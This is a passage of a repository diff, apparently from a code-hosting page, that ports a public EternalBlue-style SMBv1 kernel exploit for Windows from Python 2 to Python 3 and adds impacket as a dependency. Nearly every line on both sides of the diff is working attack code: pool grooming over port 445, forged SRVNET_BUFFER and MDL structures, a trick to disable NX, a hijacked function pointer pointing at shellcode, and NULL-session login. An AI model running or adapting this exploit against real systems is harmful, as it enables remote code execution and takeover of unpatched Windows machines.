ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
||||||
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
|
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
|
||||||
|
|
||||||
'''
|
'''
|
||||||
Reverse from srvnet.sys (Win2012 R2 x64)
|
Reverse from srvnet.sys (Win2012 R2 x64)
|
||||||
@@ -148,15 +148,15 @@ TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
|
|||||||
# MappedSystemVa = PTE_ADDR+7 - 0x7f
|
# MappedSystemVa = PTE_ADDR+7 - 0x7f
|
||||||
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
|
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
|
||||||
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
|
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
|
||||||
fakeSrvNetBufferX64Nx = '\x00'*16
|
fakeSrvNetBufferX64Nx = b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
|
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
|
||||||
|
|
||||||
@@ -170,15 +170,15 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
|
|||||||
def createFakeSrvNetBuffer(sc_size):
|
def createFakeSrvNetBuffer(sc_size):
|
||||||
# 0x180 is size of fakeSrvNetBufferX64
|
# 0x180 is size of fakeSrvNetBufferX64
|
||||||
totalRecvSize = 0x80 + 0x180 + sc_size
|
totalRecvSize = 0x80 + 0x180 + sc_size
|
||||||
fakeSrvNetBufferX64 = '\x00'*16
|
fakeSrvNetBufferX64 = b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
|
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
|
||||||
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
|
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
|
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
|
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
|
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
|
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||||
return fakeSrvNetBufferX64
|
return fakeSrvNetBufferX64
|
||||||
@@ -204,14 +204,14 @@ def createFeaList(sc_size):
|
|||||||
#
|
#
|
||||||
# code path to get code exection after this struct is controlled
|
# code path to get code exection after this struct is controlled
|
||||||
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||||
fake_recv_struct = ('\x00'*16)*5
|
fake_recv_struct = (b'\x00'*16)*5
|
||||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
|
||||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
|
||||||
fake_recv_struct += ('\x00'*16)*10
|
fake_recv_struct += (b'\x00'*16)*10
|
||||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
|
||||||
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
|
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
|
||||||
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
|
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
|
||||||
fake_recv_struct += ('\x00'*16)*3
|
fake_recv_struct += (b'\x00'*16)*3
|
||||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
|
||||||
|
|
||||||
|
|
||||||
@@ -272,7 +272,7 @@ def createSessionAllocNonPaged(target, size):
|
|||||||
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
||||||
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
||||||
|
|
||||||
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
|
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
|
||||||
pkt.addCommand(sessionSetup)
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
conn.sendSMB(pkt)
|
conn.sendSMB(pkt)
|
||||||
@@ -294,7 +294,7 @@ def createSessionAllocNonPaged(target, size):
|
|||||||
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
|
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
|
||||||
# UnicodePasswordLen field is in Reserved for extended security format.
|
# UnicodePasswordLen field is in Reserved for extended security format.
|
||||||
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
|
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
|
||||||
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
|
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + b'\x00'*16
|
||||||
pkt.addCommand(sessionSetup)
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
conn.sendSMB(pkt)
|
conn.sendSMB(pkt)
|
||||||
@@ -381,7 +381,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||||||
fixedOffset = 32+3+38 + len(command)
|
fixedOffset = 32+3+38 + len(command)
|
||||||
if len(param) > 0:
|
if len(param) > 0:
|
||||||
padLen = (4 - fixedOffset % 4 ) % 4
|
padLen = (4 - fixedOffset % 4 ) % 4
|
||||||
padBytes = '\xFF' * padLen
|
padBytes = b'\xFF' * padLen
|
||||||
transCommand['Data']['Pad1'] = padBytes
|
transCommand['Data']['Pad1'] = padBytes
|
||||||
else:
|
else:
|
||||||
transCommand['Data']['Pad1'] = ''
|
transCommand['Data']['Pad1'] = ''
|
||||||
@@ -392,7 +392,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||||||
|
|
||||||
if len(data) > 0:
|
if len(data) > 0:
|
||||||
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
|
||||||
else:
|
else:
|
||||||
transCommand['Data']['Pad2'] = ''
|
transCommand['Data']['Pad2'] = ''
|
||||||
pad2Len = 0
|
pad2Len = 0
|
||||||
@@ -431,19 +431,19 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||||||
# this method is for allocating big nonpaged pool on target
|
# this method is for allocating big nonpaged pool on target
|
||||||
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
||||||
sk = socket.create_connection((target, 445))
|
sk = socket.create_connection((target, 445))
|
||||||
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
|
pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
|
||||||
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
||||||
# Also this is invalid SMB2 message.
|
# Also this is invalid SMB2 message.
|
||||||
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||||
#pkt += '\xfeSMB' # smb2
|
#pkt += '\xfeSMB' # smb2
|
||||||
# it can be anything even it is invalid
|
# it can be anything even it is invalid
|
||||||
pkt += 'BAAD' # can be any
|
pkt += b'BAAD' # can be any
|
||||||
if for_nx:
|
if for_nx:
|
||||||
# MUST set no delay because 1 byte MUST be sent immediately
|
# MUST set no delay because 1 byte MUST be sent immediately
|
||||||
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
|
pkt += b'\x00'*0x7b # another byte will be sent later to disabling NX
|
||||||
else:
|
else:
|
||||||
pkt += '\x00'*0x7c
|
pkt += b'\x00'*0x7c
|
||||||
sk.send(pkt)
|
sk.send(pkt)
|
||||||
return sk
|
return sk
|
||||||
|
|
||||||
@@ -467,13 +467,13 @@ def exploit(target, shellcode, numGroomConn):
|
|||||||
|
|
||||||
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
||||||
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
|
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
|
||||||
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
|
progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
|
||||||
|
|
||||||
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
|
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
|
||||||
nxconn = smb.SMB(target, target)
|
nxconn = smb.SMB(target, target)
|
||||||
nxconn.login(USERNAME, PASSWORD)
|
nxconn.login(USERNAME, PASSWORD)
|
||||||
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
|
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
|
||||||
|
|
||||||
# create some big buffer at server
|
# create some big buffer at server
|
||||||
# this buffer MUST NOT be big enough for overflown buffer
|
# this buffer MUST NOT be big enough for overflown buffer
|
||||||
@@ -514,7 +514,7 @@ def exploit(target, shellcode, numGroomConn):
|
|||||||
# one of srvnetConn struct header should be modified
|
# one of srvnetConn struct header should be modified
|
||||||
# send '\x00' to disable nx
|
# send '\x00' to disable nx
|
||||||
for sk in srvnetConn:
|
for sk in srvnetConn:
|
||||||
sk.send('\x00')
|
sk.send(b'\x00')
|
||||||
|
|
||||||
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||||
# second trigger, place fake struct and shellcode
|
# second trigger, place fake struct and shellcode
|
||||||
|
|||||||
@@ -256,9 +256,9 @@ class MYSMB(smb.SMB):
|
|||||||
if self._SignatureEnabled:
|
if self._SignatureEnabled:
|
||||||
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
||||||
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
|
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
|
||||||
|
|
||||||
req = str(pkt)
|
req = pkt.getData()
|
||||||
return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536
|
return b'\x00'*2 + pack('>H', len(req)) + req
|
||||||
|
|
||||||
def send_raw(self, data):
|
def send_raw(self, data):
|
||||||
self.get_socket().send(data)
|
self.get_socket().send(data)
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
impacket
|
||||||
Reference in New Issue
Block a user